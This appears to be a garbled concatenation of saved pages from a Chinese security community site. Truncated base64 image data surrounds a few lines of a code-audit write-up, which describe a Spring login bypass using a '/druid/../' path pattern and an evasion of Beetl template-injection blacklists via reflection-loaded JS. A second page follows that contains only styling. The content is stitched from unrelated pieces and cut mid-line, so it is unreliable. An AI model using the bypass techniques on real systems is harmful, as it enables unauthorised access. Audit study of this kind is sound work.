G/w31G402lm/8tEmw6dbmkM0NNVY1lVuIWwq3PN2auPXsb4zfarcZbCvf9nW7cHvXjtgdbbUetbU7DXcurUPrJHW9u1J3Xd4duLup3qF+8x6dPeV7wV7J3uf70vbd2B++v/UA40D9QcuD1Ydoh8oakIbpDf2NWY1dTclNnYfDDrc2ezcfOuJ4ZPtR06NVx7SPLT1OOV5yfLClqGXghOhE38nMk49bJ7XePTXu1LW2mLaO0+Gnz50JPnPqLPNsyzmfc0fPe50/fIFxofGi+8WGdrf2Q7+7/X6ow72j4ZLHpabLnpebO8d0Hr/id+Xk1cCrZ66xr128Hnm980bCjVs3U2923eLd6rmde/vVncI7n+/OvUe4V3Zf/X7lA8MHNX/Y/rGny73r2MPAh+2P4h7dfcx9/OJJ/pMv3SVPqU8rn5k8q+1x6TnaG9x7+fn4590vRC8+95X+qfFn9Uublwf/8v+rvX9cf/cr8avB14vf6L/Z/tb1betA9MCDd3nvPr8v+6D/YcdHxsezn5I+Pfs89Qvpy5qvtl+bv4V/uzeYNzgo4og5sl8BDFY0IwOA19sBoCYDQIPnM8p4+flPVhD5mVWGwH/C8jOirLgDUA//32P64N/NTQD2boXHL6ivlgpANBWAeE+Ajh49XIfOarJzpbQQ4TlgU+TX9Lx08G+K/Mz5Q9w/t0Cq6gp+bv8FudB8kK9mJ3wAAQAASURBVHic7L11eGPZmef/FdgW2RbZsszMjOWyi5m5Mc2d7iQT2JlsZn87mdnNTCaT6c0kmZmkA52mNKXTTMWMLhcayszMzCDp94esK8m6km1Jhup6P89TT8m6dO7Vueeclzkx8Wk6LCM5q1fh4SP7AQBXruXjgw8/Xc7mEARBEARBEARBEARBEARBEARBfG3hLncD1GoV87m3t28ZW0IQBEEQBEEQBEEQBEEQBEEQBPH1ZtkNQ2Ghwczntrb25WsIQRAEQRAEQRAEQRAEQRAEQRDE15xlNQzt3b0Dfr5qAEBzSxtKSsuXszkEQRAEQRAEQRAEQRAEQRAEQRBfa5bNMBQZEYb163KYv8+dv7hcTSEIgiAIgiAIgiAIgiAIgiAIgngg4C/1BUUiETZvWo/sVeng8/WXr6mtx63bBUvdFIIgCIIgCIIgCIIgCIIgCIIgiAeKJTUMpaUm4dCBvZBIxMx3lVU1eP3Nd5eyGQRBEARBEARBEARBEARBEARBEA8kS2oY8vP1ZYxCOp0Ot+8W4d33PoBGo1nKZhAEQRAEQRAEQRAEQRAEQRAEQTyQLKlhSKPVYmhoGMUlZbh+/QbqG5qW8vIEQRAEQRALine truncated
|
||||
<p>后面看了一下项目用的spring是低版本的存在一个登录绕过漏洞,可以通过<code>/druid/../xxxx</code>形式直接访问我们找到的后台路由。构造回显效果如下</p>
|
||||
<p><a id=img6 href=https://xzfile.aliyuncs.com/media/upload/picture/20240311095921-fa82c566-df4a-1.png title><img src="data:image/png;base64,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 truncated
|
||||
<p>由于beetl高版本有黑名单过滤常见命令执行的payload,这里可以利用反射加载js去构造。</p>
|
||||
<p><strong>声明:该漏洞已通报给相关单位修复,本文章仅供代码审计学习</strong></p>
|
||||
</div>
|
||||
|
||||
<div class=post-user-action style=margin-top:34px>
|
||||
<span class="btn btn-default pull-right" id=mark data-action=topic data-pk=14069>
|
||||
<span id=mark-text>点击收藏 </span><span class=i-seprator> | </span><span id=mark-count>0</span>
|
||||
</span>
|
||||
|
||||
<span class="btn btn-default pull-right" id=follow_topic data-pk=14069>
|
||||
<span>关注</span><span class=i-seprator> | </span><span id=follow-count>1</span>
|
||||
</span>
|
||||
|
||||
|
||||
<span class="btn btn-default pull-right">
|
||||
<span>
|
||||
|
||||
<span id=ready_reward data-toggle=modal data-target=#myModal>打赏</span>
|
||||
|
||||
</span>
|
||||
</span>
|
||||
|
||||
<div class=clearfix></div>
|
||||
</div>
|
||||
|
||||
<div class=related-section>
|
||||
<div class=related-box>
|
||||
|
||||
<span><a class=pull-left href=https://xz.aliyun.com/t/14067 title=【翻译】GhostSec的联合勒索活动及其武器库的演变><span class=related-label style="padding:3px 4px;margin-right:3px">上一篇:</span>【翻译】GhostSec的联合勒索...</a></span>
|
||||
|
||||
|
||||
<span><a class=pull-left href=https://xz.aliyun.com/t/14070 title=DeFi技术及其安全风险浅析><span class=related-label>下一篇:</span>DeFi技术及其安全风险浅析</a></span>
|
||||
|
||||
</div>
|
||||
</div>
|
||||
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
<div class="modal fade" id=myModal role=dialog aria-labelledby=myModalLabel aria-hidden=true>
|
||||
<div class=modal-dialog>
|
||||
<div class=modal-content>
|
||||
<div class=modal-header>
|
||||
<h4 class=modal-title id=myModalLabel style=text-align:center>
|
||||
积分打赏
|
||||
</h4>
|
||||
</div>
|
||||
<div class=modal-body id=button-value>
|
||||
<div style=text-align:center>
|
||||
<div role=group>
|
||||
<button type=button class="btn btn-secondary m64" style=min-width:64px data-value=type1>
|
||||
1分
|
||||
</button>
|
||||
<button type=button class="btn btn-secondary m64" style=min-width:64px data-value=type2>
|
||||
2分
|
||||
</button>
|
||||
<button type=button class="btn btn-secondary m64" style=min-width:64px data-value=type3>
|
||||
5分
|
||||
</button>
|
||||
</div>
|
||||
<br>
|
||||
<div style=margin-top:20px>
|
||||
<button type=button class="btn btn-secondary m64" style=min-width:64px data-value=type4>
|
||||
8分
|
||||
</button>
|
||||
<button type=button class="btn btn-secondary m64" style=min-width:64px data-value=type5>
|
||||
10分
|
||||
</button>
|
||||
<button type=button class="btn btn-secondary m64" style=min-width:64px data-value=type6>
|
||||
20分
|
||||
</button>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
<div class=modal-footer id=confirm>
|
||||
<button type=button class="btn btn-default" data-dismiss=modal>关闭</button>
|
||||
<button type=button class="btn btn-primary" id=reward_topic data-pk=14069>确定</button>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
|
||||
<div class="row box">
|
||||
<ol class=breadcrumb>
|
||||
<li class=active>0 条回复</li>
|
||||
</ol>
|
||||
<div class="box-container post-container">
|
||||
|
||||
<ul>
|
||||
<li style=min-height:50px;line-height:60px;margin-left:15px><strong>动动手指,沙发就是你的了!</strong></li>
|
||||
</ul>
|
||||
|
||||
</div>
|
||||
</div>
|
||||
|
||||
|
||||
<div class="row box" id=reply-box>
|
||||
|
||||
<div class="box-container clearfix">
|
||||
|
||||
<div class=reminder>
|
||||
<a href="https://account.aliyun.com/login/login.htm?oauth_callback=https%3A%2F%2Fxz.aliyun.com%2Ft%2F14069&from_type=xianzhi"><strong>登录</strong></a> 后跟帖
|
||||
</div>
|
||||
|
||||
</div>
|
||||
</div>
|
||||
|
||||
|
||||
|
||||
</div>
|
||||
|
||||
</div>
|
||||
</div>
|
||||
<footer class=bs-docs-footer>
|
||||
<div class="container text-center">
|
||||
<div class=links>
|
||||
<a href=https://xz.aliyun.com/feed target=_blank>RSS</a>
|
||||
<a href=https://xz.aliyun.com/about target=_blank><span>关于社区</span></a>
|
||||
<a href=https://xz.aliyun.com/partner target=_blank><span>友情链接</span></a>
|
||||
<a href=https://xz.aliyun.com/notice>社区小黑板</a>
|
||||
<a href=https://xz.aliyun.com/connection>联系我们</a>
|
||||
<a href=https://report.aliyun.com/ target=_blank>举报中心</a>
|
||||
<a href=https://www.aliyun.com/complaint target=_blank>我要投诉</a>
|
||||
</div>
|
||||
</div>
|
||||
</footer>
|
||||
|
||||
|
||||
|
||||
<div id=waf_nc_block style=display:none></div><div style="padding:0px;margin:3px 3px 20px;background:padding-box padding-box #f8f8ff;border:3px solid rgba(242,242,242,0.6);border-radius:2px;box-shadow:#666666 0px 0px 2px;visibility:visible;display:none;z-index:2147483647;inset:0px auto auto 282px;width:0px;height:0px;position:fixed !important;box-sizing:content-box !important;max-width:none !important;max-height:none !important"></div><img alt draggable=false src=data:, style="padding:5px;background-clip:padding-box;width:38px;height:38px;z-index:2147483647;display:none;inset:auto;margin:0px;transition:background-color .5s ease 0s,opacity .2s ease 0s,top .15s ease-out 0s,left .15s ease-out 0s;border-radius:50% !important;box-shadow:#a6a6a6 0px 0px 5px 1px !important;position:fixed !important;box-sizing:border-box !important;opacity:0;background-color:#ffffff">
|
||||
File diff suppressed because it is too large.
Load diff
@@ -0,0 +1,311 @@
|
||||
<!DOCTYPE html> <html lang=en style><!--
|
||||
Page saved with SingleFile
|
||||
url: https://xz.aliyun.com/t/13662
|
||||
--><meta charset=utf-8>
|
||||
<title>快速审计记录(五)--某blog系统(mayday博客系统)</title>
|
||||
<meta name=description content=先知社区,先知安全技术社区>
|
||||
<meta name=viewport content="width=device-width,initial-scale=1.0,minimum-scale=1.0,maximum-scale=1.0,user-scalable=no">
|
||||
<style>/*!
|
||||
* Bootstrap v2.3.1
|
||||
*
|
||||
* Copyright 2012 Twitter, Inc
|
||||
* Licensed under the Apache License v2.0
|
||||
* http://www.apache.org/licenses/LICENSE-2.0
|
||||
*
|
||||
* Designed and built with all the love in the world @twitter by @mdo and @fat.
|
||||
*/.clearfix:before,.clearfix:after{display:table;line-height:0;content:""}.clearfix:after{clear:both}footer{display:block}html{font-size:100%;-webkit-text-size-adjust:100%;-ms-text-size-adjust:100%}a:focus{outline:thin dotted #333;outline:5px auto -webkit-focus-ring-color;outline-offset:-2px}a:hover,a:active{outline:0}img{height:auto;vertical-align:middle;-ms-interpolation-mode:bicubic}input{margin:0}button{-webkit-appearance:button}body{margin:0;font-family:"Helvetica Neue",Helvetica,Arial,sans-serif;font-size:14px;line-height:20px;color:#333}a{text-decoration:none}a:hover,a:focus{color:#005580;text-decoration:underline}.row:before,.row:after{display:table;line-height:0;content:""}.row:after{clear:both}.container{width:940px}.span10{width:780px}.container{margin-right:auto;margin-left:auto}.container:before,.container:after{display:table;line-height:0;content:""}.container:after{clear:both}p{margin:0 0 10px}strong{font-weight:bold}.text-right{text-align:right}.text-center{text-align:center}h1,h4{margin:10px 0;font-family:inherit;font-weight:bold;line-height:20px;color:inherit;text-rendering:optimizelegibility}h4{font-size:17.5px}ul{padding:0}hr{margin:20px 0;border:0;border-top:1px solid #eee;border-bottom:1px solid #fff}code{-webkit-border-radius:3px;-moz-border-radius:3px}code{color:#d14}input{font-weight:normal}input{font-family:"Helvetica Neue",Helvetica,Arial,sans-serif}input[type="text"]{display:inline-block;padding:4px 6px;margin-bottom:10px;font-size:14px;line-height:20px;vertical-align:middle;-webkit-border-radius:4px;-moz-border-radius:4px}input{width:206px}input[type="text"]{background-color:#fff;-webkit-box-shadow:inset 0 1px 1px rgba(0,0,0,0.075);-moz-box-shadow:inset 0 1px 1px rgba(0,0,0,0.075);box-shadow:inset 0 1px 1px rgba(0,0,0,0.075);-webkit-transition:border linear .2s,box-shadow linear .2s;-moz-transition:border linear .2s,box-shadow linear .2s;-o-transition:border linear .2s,box-shadow linear .2s;transition:border linear .2s,box-shadow linear .2s}textarea:focus,input[type="text"]:focus,input[type="password"]:focus,input[type="datetime"]:focus,input[type="datetime-local"]:focus,input[type="date"]:focus,input[type="month"]:focus,input[type="time"]:focus,input[type="week"]:focus,input[type="number"]:focus,input[type="email"]:focus,input[type="url"]:focus,input[type="search"]:focus,input[type="tel"]:focus,input[type="color"]:focus,.uneditable-input:focus{border-color:rgba(82,168,236,0.8);outline:0;outline:thin dotted \9;-webkit-box-shadow:inset 0 1px 1px rgba(0,0,0,0.075),0 0 8px rgba(82,168,236,0.6);-moz-box-shadow:inset 0 1px 1px rgba(0,0,0,0.075),0 0 8px rgba(82,168,236,0.6);box-shadow:inset 0 1px 1px rgba(0,0,0,0.075),0 0 8px rgba(82,168,236,0.6)}input::-webkit-input-placeholder,textarea::-webkit-input-placeholder{color:#999}input{margin-left:0}input:focus:invalid,textarea:focus:invalid,select:focus:invalid{color:#b94a48;border-color:#ee5f5b}input:focus:invalid:focus,textarea:focus:invalid:focus,select:focus:invalid:focus{border-color:#e9322d;-webkit-box-shadow:0 0 6px #f8b9b7;-moz-box-shadow:0 0 6px #f8b9b7;box-shadow:0 0 6px #f8b9b7}.fade{opacity:0;-webkit-transition:opacity .15s linear;-moz-transition:opacity .15s linear;-o-transition:opacity .15s linear}.collapse{position:relative;-webkit-transition:height .35s ease;-moz-transition:height .35s ease;-o-transition:height .35s ease;transition:height .35s ease}.btn{text-shadow:0 1px 1px rgba(255,255,255,0.75);vertical-align:middle;background-image:-moz-linear-gradient(top,#fff,#e6e6e6);background-image:-webkit-gradient(linear,0 0,0 100%,from(#fff),to(#e6e6e6));background-image:-webkit-linear-gradient(top,#fff,#e6e6e6);background-image:-o-linear-gradient(top,#fff,#e6e6e6);background-repeat:repeat-x;border:1px solid #ccc;border-bottom-color:#b3b3b3;-webkit-border-radius:4px;-moz-border-radius:4px;-webkit-box-shadow:inset 0 1px 0 rgba(255,255,255,0.2),0 1px 2px rgba(0,0,0,0.05);-moz-box-shadow:inset 0 1px 0 rgba(255,255,255,0.2),0 1px 2px rgba(0,0,0,0.05);box-shadow:inset 0 1px 0 rgba(255,255,255,0.2),0 1px 2px rgba(0,0,0,0.05)}.btn:hover,.btn:focus,.btn:active,.btn.active,.btn.disabled,.btn[disabled]{color:#333;background-color:#e6e6e6;*background-color:#d9d9d9}.btn:active,.btn.active{background-color:#ccc \9}.btn:first-child{*margin-left:0}.btn:hover,.btn:focus{color:#333;text-decoration:none;background-position:0-15px;-webkit-transition:background-position .1s linear;-moz-transition:background-position .1s linear;-o-transition:background-position .1s linear;transition:background-position .1s linear}.btn:focus{outline:thin dotted #333;outline:5px auto -webkit-focus-ring-color;outline-offset:-2px}.btn.active,.btn:active{background-image:none;outline:0;-webkit-box-shadow:inset 0 2px 4px rgba(0,0,0,0.15),0 1px 2px rgba(0,0,0,0.05);-moz-box-shadow:inset 0 2px 4px rgba(0,0,0,0.15),0 1px 2px rgba(0,0,0,0.05);box-shadow:inset 0 2px 4px rgba(0,0,0,0.15),0 1px 2px rgba(0,0,0,0.05)}.btn-primary{text-shadow:0-1px 0 rgba(0,0,0,0.25);background-iLine truncated
|
||||
<style>/*! Editor.md v1.5.0 | editormd.min.css | Open source online markdown editor. | MIT License | By: Pandao | https://github.com/pandao/editor.md | 2015-06-09 *//*! prefixes.scss v0.1.0 | Author: Pandao | https://github.com/pandao/prefixes.scss | MIT license | Copyright (c) 2015 */@media only screen and (-webkit-min-device-pixel-ratio:2),only screen and (min-device-pixel-ratio:2){}@media only screen and (-webkit-min-device-pixel-ratio:3),only screen and (min-device-pixel-ratio:3){}/*! prefixes.scss v0.1.0 | Author: Pandao | https://github.com/pandao/prefixes.scss | MIT license | Copyright (c) 2015 *//*!
|
||||
* Font Awesome 4.3.0 by @davegandy - http://fontawesome.io - @fontawesome
|
||||
* License - http://fontawesome.io/license (Font: SIL OFL 1.1, CSS: MIT License)
|
||||
*/@-webkit-keyframes fa-spin{0%{-webkit-transform:rotate(0);transform:rotate(0)}100%{-webkit-transform:rotate(359deg);transform:rotate(359deg)}}@keyframes fa-spin{0%{-webkit-transform:rotate(0);transform:rotate(0)}100%{-webkit-transform:rotate(359deg);transform:rotate(359deg)}}/*! prefixes.scss v0.1.0 | Author: Pandao | https://github.com/pandao/prefixes.scss | MIT license | Copyright (c) 2015 *//*! github-markdown-css | The MIT License (MIT) | Copyright (c) Sindre Sorhus <sindresorhus@gmail.com> (sindresorhus.com) | https://github.com/sindresorhus/github-markdown-css */.markdown-body{-ms-text-size-adjust:100%;-webkit-text-size-adjust:100%;overflow:hidden}.markdown-body *{-moz-box-sizing:border-box}.markdown-body a:active,.markdown-body a:hover{outline:0;text-decoration:underline}.markdown-body>:first-child{margin-top:0 !important}.markdown-body>:last-child{margin-bottom:0 !important}.markdown-body img{-moz-box-sizing:border-box}.markdown-body code:after,.markdown-body code:before{letter-spacing:-.2em;content:" "}/*! Pretty printing styles. Used with prettify.js. */@media screen{}@media screen{}</style>
|
||||
<style>/*!
|
||||
* Bootstrap Responsive v2.3.1
|
||||
*
|
||||
* Copyright 2012 Twitter, Inc
|
||||
* Licensed under the Apache License v2.0
|
||||
* http://www.apache.org/licenses/LICENSE-2.0
|
||||
*
|
||||
* Designed and built with all the love in the world @twitter by @mdo and @fat.
|
||||
*/.clearfix:before,.clearfix:after{display:table;line-height:0;content:""}.clearfix:after{clear:both}@-ms-viewport{width:device-width}@media(min-width:768px) and (max-width:979px){}@media(max-width:767px){}@media(min-width:1200px){.row{margin-left:-30px}.row:before,.row:after{display:table;line-height:0;content:""}.row:after{clear:both}[class*="span"]{float:left;min-height:1px;margin-left:30px}.container{width:1170px}.span10{width:970px}input{margin-left:0}}@media(min-width:768px) and (max-width:979px){.row{margin-left:-20px}.row:before,.row:after{display:table;line-height:0;content:""}.row:after{clear:both}[class*="span"]{float:left;min-height:1px;margin-left:20px}.container{width:724px}.span10{width:600px}input{margin-left:0}}@media(max-width:767px){body{padding-right:0px;padding-left:0px}.container{width:auto}.row{margin-left:0}[class*="span"]{display:block;float:none;width:100%;margin-left:0;-webkit-box-sizing:border-box;-moz-box-sizing:border-box;box-sizing:border-box}.modal{position:fixed;right:20px;left:20px;width:auto;margin:0}.modal.fade{top:-100px}}@media(max-width:480px){.nav-collapse{-webkit-transform:translate3d(0,0,0)}.modal{top:10px;right:10px;left:10px}}@media(max-width:979px){body{padding-top:0}.navbar .container{width:auto;padding:0}.navbar .brand{padding-right:10px;padding-left:10px}.nav-collapse{clear:both}.nav-collapse.collapse{height:0;overflow:hidden}}@media(min-width:980px){.nav-collapse.collapse{height:auto !important;overflow:visible !important}}</style>
|
||||
<style>li{line-height:26px}a:hover{text-decoration:none}.post-user-action>span{margin-right:10px;line-height:21px;border:0}.post-user-action .i-seprator{color:rgba(0,0,0,0.1);margin:0 2px}.navbar .brand{padding:0;height:50px;margin-left:0;display:inline-block !important;background-repeat:no-repeat;width:120px;background-size:207px 50px;background-image:url(data:image/svg+xml;base64,PD94bWwgdmVyc2lvbj0iMS4wIiBlbmNvZGluZz0idXRmLTgiPz4KPCEtLSBHZW5lcmF0b3I6IEFkb2JlIElsbHVzdHJhdG9yIDIxLjEuMCwgU1ZHIEV4cG9ydCBQbHVnLUluIC4gU1ZHIFZlcnNpb246IDYuMDAgQnVpbGQgMCkgIC0tPgo8c3ZnIHZlcnNpb249IjEuMSIgaWQ9IuWbvuWxgl8xIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHhtbG5zOnhsaW5rPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hsaW5rIiB4PSIwcHgiIHk9IjBweCIKCSB2aWV3Qm94PSIwIDAgODAwLjQgMTMwLjQiIHN0eWxlPSJlbmFibGUtYmFja2dyb3VuZDpuZXcgMCAwIDgwMC40IDEzMC40OyIgeG1sOnNwYWNlPSJwcmVzZXJ2ZSI+CjxzdHlsZSB0eXBlPSJ0ZXh0L2NzcyI+Cgkuc3Qwe2ZpbGw6IzM3M0Q0MTt9Cjwvc3R5bGU+Cjx0aXRsZT7lhYjnn6XmioDmnK/npL7ljLo8L3RpdGxlPgo8Zz4KCTxwb2x5Z29uIGNsYXNzPSJzdDAiIHBvaW50cz0iMCwxMjEuNCAwLDI3LjMgNTYuMywyNy4zIAkiLz4KCTxwb2x5Z29uIGNsYXNzPSJzdDAiIHBvaW50cz0iODkuOSw4LjQgODkuOSwxMDIuNSAzMy41LDEwMi41IAkiLz4KPC9nPgo8cGF0aCBjbGFzcz0ic3QwIiBkPSJNMTMwLjcsNTguNGMtMi4zLTEuNC00LjctMi45LTcuMi00LjVjNi02LjksMTAuNy0xNi4yLDE0LjEtMjcuOWw4LjMsMS43Yy0wLjcsMS42LTEuNiwzLjktMi44LDYuOQoJYy0wLjcsMi4zLTEuMywzLjktMS43LDQuOGgxNy41VjI0aDguM3YxNS41aDI5LjZWNDdoLTI5LjZ2MTUuMWgzNC43VjcwaC0yNi41djIxLjNjLTAuMiwzLjQsMS42LDUsNS41LDQuOGg3LjIKCWMzLjIsMC4yLDUuMy0xLjMsNi4yLTQuNWMwLjItMS40LDAuNS00LjEsMC43LTguM2MwLDAuNywwLjEtMC4xLDAuMy0yLjRsNy42LDIuOGMtMC4yLDQuMS0wLjcsNy45LTEuNCwxMS40CgljLTEuNiw2LTUuOCw4LjgtMTIuNyw4LjZoLTEwLjdjLTcuNiwwLjItMTEuMi0zLjItMTEtMTAuM1Y3MC4xaC0xNS44djMuMWMwLDE1LjQtOS4xLDI2LjQtMjcuMiwzM2MtMS40LTIuMS0zLTQuNi00LjgtNy42CglDMTM1LjEsOTQsMTQzLDg1LjQsMTQzLDcyLjhWNzBoLTIyLjd2LTcuOWgzOC41VjQ3aC0yMS4zQzEzNS41LDUxLj